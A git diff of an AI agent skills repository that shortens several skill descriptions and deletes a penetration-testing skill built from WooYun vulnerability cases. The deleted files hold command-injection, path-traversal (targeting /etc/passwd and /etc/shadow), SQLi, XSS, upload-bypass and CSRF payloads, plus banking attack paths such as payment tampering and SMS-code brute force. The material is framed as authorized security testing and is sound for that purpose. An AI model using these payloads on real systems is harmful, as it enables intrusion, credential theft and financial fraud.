description: AI demos and GPU compute with Gradio Spaces and Hugging Face Spaces ZeroGPU. Use when writing or reviewing code that uses `@spaces.GPU`, configuring `python_version` or `requirements.txt` for a ZeroGPU Space, or handling ZeroGPU-specific code constraints — pickle-based process isolation, `gr.State` semantics across the worker boundary, no `torch.compile` (use AoTI instead), CUDA wheel-only builds (no `nvcc` at build or runtime), large vs xlarge sizing, and dynamic duration callables. Make sure to use this skill whenever the user mentions ZeroGPU, `@spaces.GPU`, or the `spaces` Python package, or hits ZeroGPU-specific code errors like `PicklingError` across the worker boundary, `illegal duration`, or `flash-attn` wheel-build failures — even when the user does not explicitly ask for ZeroGPU coding guidance. Trigger on `import spaces` or `@spaces.GPU` in code.
description: "Implement or debug Hugging Face Spaces ZeroGPU code using `@spaces.GPU`, including isolation, state, duration, sizing, and CUDA-wheel constraints. Use for ZeroGPU-specific behavior; use huggingface-spaces for general hosting."
license: Apache-2.0 (modified; see UPSTREAMS.json)
---
+1 -1
View File
@@ -1,6 +1,6 @@
---
name: security-threat-model
description: "Repository-grounded threat modeling that enumerates trust boundaries, assets, attacker capabilities, abuse paths, and mitigations, and writes a concise Markdown threat model. Trigger only when the user explicitly asks to threat model a codebase or path, enumerate threats/abuse paths, or perform AppSec threat modeling. Do not trigger for general architecture summaries, code review, or non-security design work."
description: "Create a repository-grounded AppSec threat model covering assets, trust boundaries, attackers, abuse paths, and mitigations. Use only for explicit threat-modeling requests, not general architecture or code review."
license: MIT (modified; see UPSTREAMS.json)
---
+1 -1
View File
@@ -1,6 +1,6 @@
---
name: semgrep
description: "Run Semgrep static analysis scan on a codebase using parallel subagents. Supports two scan modes — \"run all\" (full ruleset coverage) and \"important only\" (high-confidence security vulnerabilities). Automatically detects and uses Semgrep Pro for cross-file taint analysis when available. Use when asked to scan code for vulnerabilities, run a security audit with Semgrep, find bugs, or perform static analysis. Spawns parallel workers for multi-language codebases."
description: "Run Semgrep static analysis across a codebase, optionally using Semgrep Pro for cross-file taint analysis. Use when Semgrep or a static-analysis scan is requested; use security-review for a manual audit."
license: MIT (modified; see UPSTREAMS.json)
---
+1 -1
View File
@@ -1,6 +1,6 @@
---
name: sharp-edges
description: Identifies error-prone APIs, dangerous configurations, and footgun designs that enable security mistakes. Use when reviewing API designs, configuration schemas, cryptographic library ergonomics, or evaluating whether code follows "secure by default" and "pit of success" principles. Triggers: footgun, misuse-resistant, secure defaults, API usability, dangerous configuration.
description: "Identify error-prone APIs, dangerous configuration, and footgun designs that enable security mistakes. Use for API ergonomics, misuse resistance, secure defaults, or pit-of-success reviews; use code-review for general defects."
license: MIT (modified; see UPSTREAMS.json)
---
+1 -1
View File
@@ -1,6 +1,6 @@
---
name: train-sentence-transformers
description: Train or fine-tune sentence-transformers models across `SentenceTransformer` (bi-encoder; dense or static embedding model; for retrieval, similarity, clustering, classification, paraphrase mining, dedup, multimodal), `CrossEncoder` (reranker; pair scoring for two-stage retrieval / pair classification), and `SparseEncoder` (SPLADE, sparse embedding model; for learned-sparse retrieval). Covers loss selection, hard-negative mining, evaluators, distillation, LoRA, Matryoshka, and Hugging Face Hub publishing. Use for any sentence-transformers training task.
description: "Train or fine-tune SentenceTransformer bi-encoders, CrossEncoder rerankers, or SparseEncoder models, including losses, negatives, evaluation, distillation, LoRA, and Matryoshka. Use for sentence-transformers training tasks."
license: Apache-2.0 (modified; see UPSTREAMS.json)
---
+1 -1
View File
@@ -1,6 +1,6 @@
---
name: transformers-js
description: Use Transformers.js to run state-of-the-art machine learning models directly in JavaScript/TypeScript. Supports NLP (text classification, translation, summarization), computer vision (image classification, object detection), audio (speech recognition, audio classification), and multimodal tasks. Works in browsers and server-side runtimes (Node.js, Bun, Deno) with WebGPU/WASM using pre-trained models from Hugging Face Hub.
description: "Run Hugging Face models in JavaScript or TypeScript with Transformers.js, WebGPU, or WASM across browser, Node.js, Bun, and Deno. Use for client-side or JS-runtime inference, not Python training."
license: Apache-2.0 (modified; see UPSTREAMS.json)
---
+1 -1
View File
@@ -1,6 +1,6 @@
---
name: vuln-report
description: Draft a single-vulnerability report in GitHub advisory style from an audit finding, bug note, patch diff, PoC, or code review evidence. Use when the agent needs to turn one confirmed security issue into a clean disclosure-ready report with Summary, Details, Root Cause, Proof of Concept, Impact, embedded code snippets, explanatory prose that points to the vulnerable code, inline GitHub markdown links to source evidence, and clearly-scoped optional sections such as CWE, CVSS, references, attack preconditions, or patch metadata.
description: "Turn one confirmed security finding into a disclosure-ready GitHub advisory with root cause, proof of concept, impact, and source evidence. Use for reporting an established vulnerability, not discovering or validating one."
license: MIT (modified; see UPSTREAMS.json)
---
-357
View File
@@ -1,357 +0,0 @@
---
name: wooyun-legacy
description: "Provides web vulnerability testing methodology distilled from 88,636 real-world cases from the WooYun vulnerability database (2010-2016). Use when performing penetration testing, security audits, code reviews for security flaws, or vulnerability research. Covers SQL injection, XSS, command execution, file upload, path traversal, unauthorized access, information disclosure, and business logic flaws."
license: MIT (modified; see UPSTREAMS.json)
---
# WooYun Vulnerability Analysis Knowledge Base
Methodology and testing patterns extracted from 88,636 real-world
vulnerability cases reported to the WooYun platform (2010-2016).
---
## When to Use
> All testing described here must be performed only against systems you
> have written authorization to test.
- Penetration testing web applications
- Security code review (server-side or client-side)
- Vulnerability research against web targets you have explicit authorization to test
- Building security test cases or checklists
- Assessing web application attack surface
- Reviewing remediation effectiveness
- Training or education in authorized security testing contexts
## When NOT to Use
- Network infrastructure testing (firewalls, routers, switches)
- Mobile application binary analysis
- Malware analysis or reverse engineering
- Compliance-only assessments (PCI-DSS, SOC2 checklists without testing)
- Physical security assessments
- Social engineering campaigns
- Cloud infrastructure misconfigurations (IAM, S3 buckets) — these
require cloud-specific tooling, not web vuln patterns
## Rationalizations to Reject
These shortcuts lead to missed findings. Reject them:
- "The WAF will catch it" — WAFs are bypass-able; test the application
logic, not the middleware
- "It's an internal app, so auth doesn't matter" — internal apps get
compromised via SSRF, lateral movement, and credential reuse
- "We already use parameterized queries everywhere" — check for ORM
misuse, stored procedures with dynamic SQL, and second-order injection
- "The framework handles XSS" — template engines have raw output modes,
JavaScript contexts bypass HTML encoding, and DOM XSS lives
entirely client-side
- "File uploads are safe because we check the extension" — extension
checks are bypassed via null bytes, double extensions, parser
discrepancies, and race conditions
- "We validate on the frontend" — client-side validation is a UX
feature, not a security control
- "Nobody would guess that URL" — security through obscurity fails
against directory bruteforcing, referrer leaks, and JS source analysis
- "Low severity, not worth reporting" — low-severity findings chain
into critical attack paths
---
## Core Mental Model
```
Vulnerability = Expected Behavior - Actual Behavior
= Developer Assumptions + Attacker Input -> Unexpected State
Analysis chain:
1. Where does data come from? (Input sources)
-> GET/POST/Cookie/Header/File/WebSocket
2. Where does data flow? (Data path)
-> Validation -> Processing -> Storage -> Output
3. Where is data trusted? (Trust boundaries)
-> Client / Server / Database / OS / External service
4. How is data processed? (Processing logic)
-> Filter / Escape / Validate / Execute
5. Where does data end up? (Output sinks)
-> HTML / SQL / Shell / Filesystem / Log / Email
```
---
## Attack Surface Mapping
```
+=============================================+
| Application Attack Surface |
+=============================================+
|
+-----------------------+-----------------------+
| | |
+----v----+ +-----v-----+ +-----v-----+
| Input | | Processing| | Output |
+---------+ +-----------+ +-----------+
| GET | | Input | | HTML page |
| POST | -> | validation| -> | JSON resp |
| Cookie | | Biz logic | | File DL |
| Headers | | DB query | | Error msg |
| File | | File op | | Log entry |
| Upload | | Sys call | | Email |
+=========+ +===========+ +===========+
```
---
## SQL Injection
**Cases:** 27,732 | **Reference:** [sql-injection.md](references/sql-injection.md)
| **Checklist:** [sql-injection-checklist.md](references/checklists/sql-injection-checklist.md)
High-risk parameters: `id`, `sort_id`, `username`, `password`, `search`,
`keyword`, `page`, `order`, `cat_id`
Injection point detection:
- String terminators: `' " ) ') ") -- # /*`
- DB fingerprint: `@@version` (MSSQL), `version()` (MySQL),
`v$version` (Oracle)
Bypass techniques:
- Whitespace: `/**/ %09 %0a ()`
- Keywords: `SeLeCt sel%00ect /*!select*/`
- Equals: `LIKE REGEXP BETWEEN IN`
- Quotes: `0x` hex, `char()`, `concat()`
Core defense: parameterized queries (PreparedStatement / ORM binding).
---
## Cross-Site Scripting (XSS)
**Cases:** 7,532 | **Reference:** [xss.md](references/xss.md)
| **Checklist:** [xss-checklist.md](references/checklists/xss-checklist.md)
Output points: user profile fields (nickname, bio), search reflections,
file metadata (filename, alt text), email content (subject, body)
Bypass techniques:
- Tag mutation: `<ScRiPt> <script/x> <script\n>`
- Event handlers: `onerror onload onmouseover onfocus`
- Encoding: HTML entities, JS Unicode, URL encoding
- Protocol handlers: `javascript: data: vbscript:`
Core defense: context-aware output encoding + Content Security Policy.
---
## Command Execution
**Cases:** 6,826 | **Reference:** [command-execution.md](references/command-execution.md)
| **Checklist:** [command-execution-checklist.md](references/checklists/command-execution-checklist.md)
Entry points: system command wrappers (ping, traceroute, nslookup),
file operations (compress, decompress, image processing), code eval
(`eval`, `assert`, `preg_replace(/e)`), framework vulnerabilities
(Struts2, WebLogic, JBoss)
Command chaining:
- Linux: `; | || && \` $()`
- Windows: `& | || &&`
Bypass techniques:
- Whitespace: `${IFS} $IFS$9 %09 < <>`
- Keywords: `ca\t ca''t c$@at /???/??t`
- Encoding: `$(printf "\x63\x61\x74")`,
`` `echo Y2F0|base64 -d` ``
Core defense: avoid shell invocation; use `execFile` over `exec`,
allowlist acceptable inputs.
---
## File Upload
**Cases:** 2,711 | **Reference:** [file-upload.md](references/file-upload.md)
| **Checklist:** [file-upload-checklist.md](references/checklists/file-upload-checklist.md)
Bypass detection:
- Client-side validation: modify JS or send request directly
- Content-Type: `image/gif` header + PHP code body
- Extension: `.php5 .phtml .pht .php. .php::$DATA`
- Content inspection: `GIF89a` + `<?php` or image-based webshell
- Parser discrepancy: `/upload/1.asp;.jpg` (IIS 6.0)
Parser-specific vulnerabilities:
- IIS 6.0: `/test.asp/1.jpg`, `test.asp;.jpg`
- Apache: `.php.xxx` (unknown extension fallback)
- Nginx: `/1.jpg/1.php` (`cgi.fix_pathinfo`)
- Tomcat: `test.jsp%00.jpg`
Core defense: allowlist extensions, rename uploads, store outside
webroot, validate content type server-side.
---
## Path Traversal
**Cases:** 2,854 | **Reference:** [path-traversal.md](references/path-traversal.md)
| **Checklist:** [path-traversal-checklist.md](references/checklists/path-traversal-checklist.md)
High-risk parameters: `file`, `path`, `filename`, `url`, `dir`,
`template`, `page`, `include`, `download`
Traversal payloads:
- Basic: `../../../etc/passwd`
- Encoded: `%2e%2e%2f`, `..%252f`, `%c0%ae%c0%ae/`
- Null byte: `../../../etc/passwd%00.jpg`
- Windows: `..\..\..\windows\win.ini`
Target files (Linux): `/etc/passwd`, `/etc/shadow`,
`/proc/self/environ`, `/var/log/apache2/access.log`
Core defense: resolve canonical paths, validate against allowlisted
directories, never use user input in file paths directly.
---
## Unauthorized Access
**Cases:** 14,377 | **Reference:** [unauthorized-access.md](references/unauthorized-access.md)
| **Checklist:** [unauthorized-access-checklist.md](references/checklists/unauthorized-access-checklist.md)
Access types:
- Admin panel exposure: `/admin`, `/manager`, `/console`
- API without authentication: missing token validation, predictable
tokens
- Exposed services: Redis (6379), MongoDB (27017),
Elasticsearch (9200), Memcached (11211), Docker (2375)
- IDOR: horizontal privilege escalation via ID enumeration
Core defense: authentication + authorization on every endpoint,
session management, principle of least privilege.
---
## Information Disclosure
**Cases:** 7,337 | **Reference:** [info-disclosure.md](references/info-disclosure.md)
| **Checklist:** [info-disclosure-checklist.md](references/checklists/info-disclosure-checklist.md)
Disclosure sources: error messages with stack traces, exposed `.git`
or `.svn` directories, backup files (`.bak`, `.sql`, `.tar.gz`),
configuration files, debug endpoints, directory listings
Core defense: custom error pages, disable directory listing, remove
debug endpoints in production, audit publicly accessible files.
---
## Business Logic Flaws
**Cases:** 8,292 | **Reference:** [logic-flaws.md](references/logic-flaws.md)
| **Checklist:** [logic-flaws-checklist.md](references/checklists/logic-flaws-checklist.md)
Vulnerability patterns:
- Password reset: verification code in response body, step skipping,
controllable reset tokens
- Authorization bypass: horizontal (ID enumeration), vertical (role
escalation)
- Payment logic: amount tampering, quantity manipulation, coupon
stacking
- CAPTCHA: not refreshed, reusable, brute-forceable, client-side only
Testing approach:
1. Map the business flow -> draw state transition diagram
2. Identify critical checks -> which parameters determine outcomes
3. Attempt bypass -> modify parameters / skip steps / replay / race
4. Verify impact -> prove the scope of harm
Core defense: server-side validation of all business-critical logic.
---
## Additional Categories
These categories are derived from case data without full reference
documents. Each has a testing checklist extracted from real cases.
| Category | Checklist |
|----------|-----------|
| CSRF | [csrf-checklist.md](references/checklists/csrf-checklist.md) |
| SSRF | [ssrf-checklist.md](references/checklists/ssrf-checklist.md) |
| Weak Passwords | [weak-password-checklist.md](references/checklists/weak-password-checklist.md) |
| Misconfiguration | [misconfig-checklist.md](references/checklists/misconfig-checklist.md) |
| Remote Code Execution | [rce-checklist.md](references/checklists/rce-checklist.md) |
| XML External Entity (XXE) | [xxe-checklist.md](references/checklists/xxe-checklist.md) |
> **Note:** The RCE checklist covers deserialization, OGNL injection, and
> framework-specific remote code execution — distinct from the OS command
> injection focus of the Command Execution reference above.
---
## Methodology Case Studies
Real-world penetration testing methodology examples (anonymized):
| Case Study | Description |
|------------|-------------|
| [bank-penetration.md](references/bank-penetration.md) | Multi-stage attack chain against a financial institution |
| [telecom-penetration.md](references/telecom-penetration.md) | Infrastructure penetration of a telecom carrier |
These demonstrate how individual vulnerabilities chain together into
full compromise scenarios.
---
## Testing Priority Framework
### High Priority (test first)
1. **SQL Injection** — direct data access, highest case count (27,732)
2. **Command Execution** — OS-level compromise
3. **File Upload** — arbitrary code execution via webshell
### Medium Priority
4. **Unauthorized Access** — second-highest case count (14,377)
5. **Business Logic Flaws** — application-specific, hard to automate
6. **XSS** — session hijacking, phishing
### Lower Priority (but still important)
7. **Path Traversal** — file read, sometimes write
8. **Information Disclosure** — reconnaissance value, enables chaining
9. **CSRF/SSRF/XXE** — context-dependent severity
---
## Defense Quick Reference
| Vulnerability | Core Defense | Implementation |
|---------------|-------------|----------------|
| SQL Injection | Parameterized queries | PreparedStatement / ORM |
| XSS | Output encoding | Context-aware escaping + CSP |
| Command Execution | Avoid shell | `execFile` not `exec`, allowlist |
| File Upload | Strict validation | Allowlist ext, rename, isolate |
| Path Traversal | Canonical paths | Resolve + validate against allowlist |
| Unauthorized Access | Access control | AuthN + AuthZ + session mgmt |
| Logic Flaws | Server-side checks | Validate all business logic server-side |
| Info Disclosure | Minimize exposure | Custom errors, no debug in prod |
---
## Key Insight
All 88,636 vulnerabilities in this database share a common root cause:
the gap between what developers assumed and what attackers actually
provided. Effective security testing means systematically challenging
every assumption at every trust boundary.
Four principles from the data:
1. **Boundary thinking** — all vulnerabilities occur at trust boundaries
2. **Data flow tracing** — follow data from input to output completely
3. **Assumption challenging** — question every "obvious" validation
4. **Chain composition** — individual low-severity findings combine
into critical attack paths
@@ -1,222 +0,0 @@
# Banking Penetration Testing Methodology
> This case study is anonymized and presented for educational purposes in authorized security testing contexts only.
> Based on analysis of 22,132 real WooYun cases
## 1. Banking Attack Surface Layered Model
```
┌─────────────────────────────────────────────────────────────────────────┐
│ Layer 1: Internet Boundary │
├─────────────────────────────────────────────────────────────────────────┤
│ Online Banking │ Mobile Banking │ WeChat Banking │ Direct Banking │ │
│ Credit Card Center │ Official Site / Campaign Pages │
└─────────────────────────────────────────────────────────────────────────┘
│
|
┌─────────────────────────────────────────────────────────────────────────┐
│ Layer 2: Interface / Channel Layer │
├─────────────────────────────────────────────────────────────────────────┤
│ Payment Interface │ Card Network Channel │ Quick Pay │ Direct Debit │ │
│ Aggregated Payment │ Open Banking API │
└─────────────────────────────────────────────────────────────────────────┘
│
|
┌─────────────────────────────────────────────────────────────────────────┐
│ Layer 3: Internal Systems Layer │
├─────────────────────────────────────────────────────────────────────────┤
│ Core Banking │ Loan System │ Risk Control │ AML │ CRM │ Reporting │
└─────────────────────────────────────────────────────────────────────────┘
```
## 2. High-Risk Vulnerability Types
### Tier 1: Financial Vulnerabilities (68-88% High Severity)
| Vulnerability Type | High Severity % | Banking-Specific Scenario |
|-------------------|----------------|--------------------------|
| Password Reset | 88.0% | Online/mobile banking login password, transaction PIN |
| Withdrawal Flaws | 83.1% | Transfer limit bypass, withdrawal validation defects |
| Amount Tampering | 83.0% | Transfer amount, investment amount, repayment amount |
| Payment Flaws | 68.7% | Quick pay, direct debit, interbank transfer |
### Payment Vulnerability Detection (1,056 Cases)
**Manual Testing Checklist**:
```
1. Modify amount parameter: amount=0.01 (test server-side validation)
2. Modify quantity to negative: quantity=-1 (negative transfer)
3. Replay a successful payment request (test idempotency)
4. Concurrent submission of the same order (race condition)
5. Modify payee account/user ID (unauthorized transfer)
6. Tamper with callback notification (forge payment success)
```
**Key Parameters**:
- `amount` / `price` / `total` -> Amount fields
- `to_account` / `payee_id` -> Payee
- `sign` / `signature` -> Signature
**Bypass Techniques**:
```
Negative value attack: Transfer amount = -1000
Decimal overflow: amount = 0.001
Race condition: Multi-threaded concurrent transfers
Status tampering: Modify status=SUCCESS
Signature bypass: Delete/empty the signature field
```
### Tier 2: Authentication and Authorization
| Vulnerability Type | Case Count | Attack Scenario |
|-------------------|-----------|----------------|
| Weak Credentials | 7,513 | Online banking admin panel, operations systems |
| Authorization Bypass | 1,705 | Viewing other users' account information |
| Verification Code | 334 | Login, transfer, password reset |
## 3. Banking-Specific Attack Surfaces
### 1. Mobile Banking App Security
```
Client-Side Security
├── Anti-decompilation protection (hardening strength)
├── Local storage (sensitive information)
├── Log leakage
└── Certificate validation (SSL Pinning)
Communication Security
├── Encryption algorithms (hardcoded keys)
├── Request signing (algorithm reverse engineering)
└── Replay attacks
Business Logic
├── Login authentication (password/fingerprint/face)
├── Transaction verification
└── Transfer limits
```
**App Penetration Approach**:
```
1. Packet capture: Bypass SSL Pinning (Frida/Objection)
2. Reverse engineering: Unpack -> Signing algorithm reversal -> Key extraction
3. Hook testing: Bypass face/fingerprint verification, modify limit checks
```
### 2. Online Banking Systems
```
Attack approach:
├── ActiveX control vulnerabilities
├── Frontend encryption bypass (JS reverse engineering)
├── Password control bypass
├── USB token driver vulnerabilities
├── Bulk transfer interface authorization bypass
└── Statement/receipt unauthorized download
```
### 3. Third-Party Payment Interfaces
```
Attack points:
├── Merchant key leakage (GitHub search)
├── Callback signature verification flaws
├── Async notification replay
├── Amount validation missing
└── Merchant ID authorization bypass
```
## 4. Verification Bypass Techniques
### SMS Verification Code
```
├── Brute force (4-6 digits, feasible)
├── Concurrency (bypass attempt limits)
├── Reuse (same code used multiple times)
├── Echo (code returned in response)
└── Universal codes (0000/1234)
```
### Facial Recognition
```
├── Photo attack
├── Video attack
├── Hook return values
├── Interface replay
└── Replace facial data
```
### Transaction Signatures
```
├── Hardcoded signing key
├── Critical fields not signed
├── Signature verification optional
└── Signature downgrade attack
```
## 5. Penetration Paths
### Path 1: External Web Breach
```
Information gathering -> Subdomains/Ports/Fingerprinting
|
Vulnerability exploitation (priority order):
├── 1. Weak credential brute force
├── 2. Struts2/WebLogic RCE
├── 3. Business logic vulnerabilities
└── 4. File upload / SQL injection
```
### Path 2: Mobile Endpoint Breach
```
Static analysis -> Decompile, key search, API extraction
Dynamic analysis -> Bypass Pinning, packet capture, Hook
Business testing -> Login/Transfer/Password reset
```
### Path 3: Supply Chain Attack
```
Outsourcing company -> Code/environment leakage
Equipment vendor -> Preset accounts
Service provider -> SMS/identity verification
```
## 6. High-Value Targets
| Target System | Value | What Can Be Achieved |
|--------------|-------|---------------------|
| Core Banking | Critical | Account balances, transaction records |
| Loan System | High | Loan approval, credit limit adjustment |
| Risk Control System | High | Blocklists, rule configuration |
| CRM System | Medium | KYC documentation |
## 7. Practical Checklist
### Information Gathering
- [ ] Subdomain enumeration
- [ ] GitHub code leakage search
- [ ] App download and analysis
- [ ] WeChat official account / mini-program interface discovery
### Vulnerability Detection
- [ ] Weak credential testing
- [ ] Business logic (payment/transfer/password reset)
- [ ] Authorization bypass testing
- [ ] Interface security (signing/encryption)
- [ ] App client-side security
### Deep Exploitation
- [ ] Payment amount tampering
- [ ] Verification code bypass
- [ ] Facial recognition bypass
- [ ] Concurrent race conditions
---
**Reference methodologies**:
- See references/logic-flaws.md (payment tampering, authorization bypass) and references/sql-injection.md (injection techniques) for related methodology.
**Representative case patterns**:
- A major bank's system vulnerability leading to shell access (affecting third-party payment integrations)
- An education platform leading to a foundation system (allowing donation amount tampering)
@@ -1,119 +0,0 @@
# Command Execution Testing Checklist
> Derived from 57 real-world vulnerability cases (WooYun 2010-2016)
## High-Risk Parameters to Test
| Parameter | Frequency | Notes |
|-----------|-----------|-------|
| `from` | 1x | Login redirect; deserialization entry |
| `param` | 1x | Generic parameter in SAP/enterprise systems |
| `action` / `module` | 2x | MVC dispatch parameters |
| `addr` | 1x | Network address inputs (ping/traceroute) |
| `itemId` | 1x | Item lookup triggering backend processing |
| `pwd` / `pwpwd` | 2x | Authentication parameters |
| `authenticationEntry` | 1x | Spring Security entry point |
| `siteroot` | 1x | Configuration parameters |
## Attack Pattern Distribution
| Pattern | Count | Percentage |
|---------|-------|------------|
| Direct command execution | 38 | 67% |
| Getshell via RCE | 9 | 16% |
| Information leakage chain | 5 | 9% |
| Deserialization to RCE | 5 | 9% |
## Vulnerability Sources (ranked by frequency)
### 1. Apache Struts2 OGNL Injection (~45% of cases)
The single most common command execution vector in the dataset.
- S2-045, S2-046, S2-048, S2-052 and related CVEs
- Targets: `.action` and `.do` URL endpoints
- Detection: Look for `struts2` in response headers or URL patterns
**Test indicators:**
```
/login.action
/index.do
/upload.action
Content-Type: %{...} (S2-045)
```
### 2. Java Deserialization (~20% of cases)
- JBoss JMXInvokerServlet / EJBInvokerServlet
- WebLogic T3 protocol
- Jenkins CLI
- Spring Framework
**Test endpoints:**
```
/invoker/JMXInvokerServlet
/invoker/EJBInvokerServlet
/jmx-console/
/web-console/
```
### 3. Middleware Misconfiguration (~15% of cases)
- JBoss default deployment consoles
- Resin admin panel exposed
- WebLogic console with default credentials
- Tomcat manager with weak auth
### 4. Application-Level Command Injection (~10% of cases)
- SAP systems: `EXECUTE_CMD;CMDLINE=cmd.exe%20/c%20...`
- Network management tools with ping/traceroute functions
- Monitoring systems executing OS commands
### 5. PHP Code Execution (~10% of cases)
- `eval()` with user-controlled input
- Unsafe `unserialize()`
- Template injection
## Common Exploitation Payloads
### Struts2 OGNL
```
%{(#context['com.opensymphony.xwork2.dispatcher.
HttpServletResponse'].getWriter().println('test'))}
redirect:${#context...}
```
### JBoss Deserialization
```
POST /invoker/JMXInvokerServlet HTTP/1.1
[serialized Java object payload]
```
### OS Command Chaining
```
; whoami
| cat /etc/passwd
`id`
$(whoami)
```
## Quick Test Vectors
```
1. Identify framework: Look for .action/.do URLs (Struts2)
2. Check /invoker/JMXInvokerServlet (JBoss deser)
3. Check /jmx-console/ (JBoss misconfiguration)
4. Check management ports: 8080, 9090, 4848
5. Test Struts2: Content-Type manipulation
6. Test command injection: ; whoami | id `id`
7. Check resin-admin, /manager/html (middleware consoles)
```
## High-Value Targets
- **Government systems**: Frequently running outdated Struts2
- **Financial/banking systems**: Legacy Java middleware
- **Telecom infrastructure**: JBoss-based management platforms
- **Enterprise OA systems**: SAP, Oracle middleware
- **CDN/infrastructure nodes**: Internal management consoles
## Root Causes
| Cause | Frequency |
|-------|-----------|
| Unpatched Struts2 framework | Most common |
| Exposed management consoles | Very common |
| Java deserialization in services | Common |
| Direct OS command concatenation | Occasional |
| Unsafe eval/unserialize in PHP | Occasional |
@@ -1,74 +0,0 @@
# CSRF Testing Checklist
> Derived from ~30 real-world vulnerability cases (WooYun 2010-2016)
## High-Risk Parameters to Test
| Parameter | Context |
|-----------|---------|
| `formhash` | Forum/CMS anti-CSRF tokens (often decorative) |
| `callback` | JSONP endpoints |
| `action` | State-changing operations |
| `uid`, `touid` | User targeting in social features |
| `newPassword` | Password change forms |
| `email` | Account binding/unbinding |
| `nickname`, `sex`, `year` | Profile modification |
| `status`, `content` | Post/comment creation |
## Common Attack Patterns
1. **No token validation** (most common) - State-changing requests lack CSRF tokens entirely
2. **GET-based state changes** - Follow, post, profile edit via GET requests exploitable with `<img>` tags
3. **Decorative tokens** - Token present in form but server never validates it
4. **Missing Referer check** - No origin verification on POST requests
5. **Token not bound to session** - Any valid token works for any user
6. **OAuth binding CSRF** - Third-party account binding lacks `state` parameter
## High-Impact CSRF Targets
- Password/email change (account takeover chain)
- OAuth account binding (hijack via CSRF)
- Admin panel operations (password change without old password verification)
- Payment address modification
- Social actions (follow, post, comment) for worm propagation
## Bypass Techniques
- **GET fallback**: POST endpoints that also accept GET requests
- **Referer stripping**: Use `<meta name="referrer" content="no-referrer">`
- **Subdomain trust**: Referer check only validates partial domain match
- **Flash/XMLHttpRequest**: Cross-origin requests with `withCredentials: true`
- **Token reuse**: Same token valid across sessions or users
## Quick Test Vectors
```html
<!-- Basic form auto-submit -->
<form action="TARGET_URL" method="POST" id="csrf">
<input type="hidden" name="param" value="value"/>
</form>
<script>document.getElementById('csrf').submit();</script>
<!-- GET-based via image tag -->
<img src="https://target.com/action?param=value"/>
<!-- XMLHttpRequest with credentials -->
<script>
var x = new XMLHttpRequest();
x.open("POST", "TARGET_URL", true);
x.withCredentials = true;
x.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
x.send("param=value");
</script>
```
## Testing Methodology
1. Identify all state-changing endpoints (POST and GET)
2. Check for CSRF tokens in requests
3. Remove/modify token and replay -- does it still succeed?
4. Check if GET method is accepted for POST endpoints
5. Test Referer header removal and spoofing
6. Verify token is bound to current session
7. Test OAuth flows for missing `state` parameter
## Common Root Causes
- Developer trusts frontend to prevent duplicate submissions
- Token added to form HTML but never validated server-side
- Reliance on Referer header (easily stripped)
- GET endpoints for state-changing operations
- No re-authentication for sensitive operations (password change)
@@ -1,108 +0,0 @@
# File Upload Testing Checklist
> Derived from 30 real-world vulnerability cases (WooYun 2010-2016)
## High-Risk Parameters to Test
| Parameter | Context | Notes |
|-----------|---------|-------|
| `Filedata` | Multipart upload | Standard upload field name |
| `method` | Upload handler dispatch | Method parameter in upload APIs |
| `Connector` | FCKEditor connector | CMS file manager connectors |
| `LMID` / `varnum` / `ids` | Upload form fields | Auxiliary parameters |
| `password` / `c` / `m` | Auth + upload | Combined auth bypass + upload |
## Attack Pattern Distribution
| Pattern | Count | Percentage |
|---------|-------|------------|
| Unrestricted file upload | 6 | 40% |
| Getshell via upload | 3 | 20% |
| Extension bypass | 3 | 20% |
| Weak auth + upload | 1 | 7% |
| Directory traversal + upload | 1 | 7% |
## Common Upload Bypass Techniques
### 1. Client-Side Only Validation (~35% of cases)
The most common flaw: JavaScript-only file type checks with no server-side validation.
- Bypass: Intercept request with proxy, change filename extension
- Bypass: Disable JavaScript and submit directly
### 2. Null Byte Truncation
```
shell.php%00.jpg (PHP < 5.3.4)
shell.jsp%00.txt (older Java containers)
shell.asp%00.jpg (IIS + ASP)
```
### 3. Extension Bypass
```
.php5, .phtml, .pht (PHP alternatives)
.jspx, .jspa, .jsw (JSP alternatives)
.asp, .asa, .cer, .cdx (ASP/IIS alternatives)
.aspx, .ashx, .asmx (ASP.NET alternatives)
```
### 4. WAF Bypass via Extended ASCII
Append extended ASCII characters after the extension:
```
shell.php[0x7f] (DEL character)
shell.php[0xcc] (extended ASCII)
shell.php[0x88] (extended ASCII)
```
Confirmed to bypass security products on Windows+Apache.
### 5. Content-Type Manipulation
```
Content-Type: image/jpeg (while uploading .php)
Content-Type: image/gif (with GIF89a header prepended)
```
### 6. Double Extension / Path Manipulation
```
shell.php.jpg (Apache misconfiguration)
shell.jpg/.php (Nginx parsing vulnerability)
../shell.php (path traversal in filename)
```
## Common Vulnerable Upload Endpoints
```
/upload.jsp
/excelUpload.jsp (OA systems)
/uploadImageFile_do.jsp (CMS systems)
/kindeditor/upload_json (rich text editors)
/fckeditor/editor/filemanager/connectors/
/ueditor/controller (UEditor)
/regist/expappend_file.jsp
```
## Quick Test Vectors
```
1. Upload .php/.jsp file with valid image Content-Type
2. Upload file.php%00.jpg (null byte truncation)
3. Upload file.phtml / file.php5 (alternative extensions)
4. Upload with ../ in filename (path traversal)
5. Prepend GIF89a to PHP webshell (magic byte bypass)
6. Upload .htaccess to enable PHP execution in upload dir
7. Test double extension: file.php.jpg
```
## Post-Upload Verification
- Determine upload path from response or predictable naming
- Check if uploaded file is directly accessible via HTTP
- Check if file extension is preserved or renamed
- Check if file content is re-processed (image resize strips code)
## High-Value Targets
- **OA/Enterprise systems**: Excel/document upload features
- **CMS admin panels**: Image/file upload in content editors
- **Government procurement systems**: Attachment upload in bid submissions
- **Hospital/edu systems**: Document submission portals
- **Rich text editors**: FCKEditor, KindEditor, UEditor connectors
## Root Causes
| Cause | Frequency |
|-------|-----------|
| Client-side only validation | Most common |
| No server-side extension check | Very common |
| Allowlist not enforced on server | Common |
| Predictable upload paths | Common |
| Upload directory allows execution | Common |
@@ -1,114 +0,0 @@
# Information Disclosure Testing Checklist
> Derived from ~56 real-world vulnerability cases (WooYun 2010-2016)
## High-Risk Parameters to Test
| Parameter | Context |
|-----------|---------|
| `id`, `uid` | Sequential resource identifiers |
| `order_id`, `orderId` | Order enumeration |
| `callback` | JSONP endpoints leaking user data |
| `method` | API method selectors |
| `p`, `page` | Pagination revealing total counts |
| `inputFile` | File read endpoints |
| `query`, `q` | Search endpoints reflecting data |
## Common Attack Patterns (by frequency)
1. **Source code/config exposure** (most common)
- `.svn/entries` or `.svn/wc.db` accessible
- `.git/config` or `.git/HEAD` accessible
- Backup files: `*.bak`, `*.sql`, `*.tar.gz`, `website.rar`
- `web.config`, `database.php`, `.env` exposed
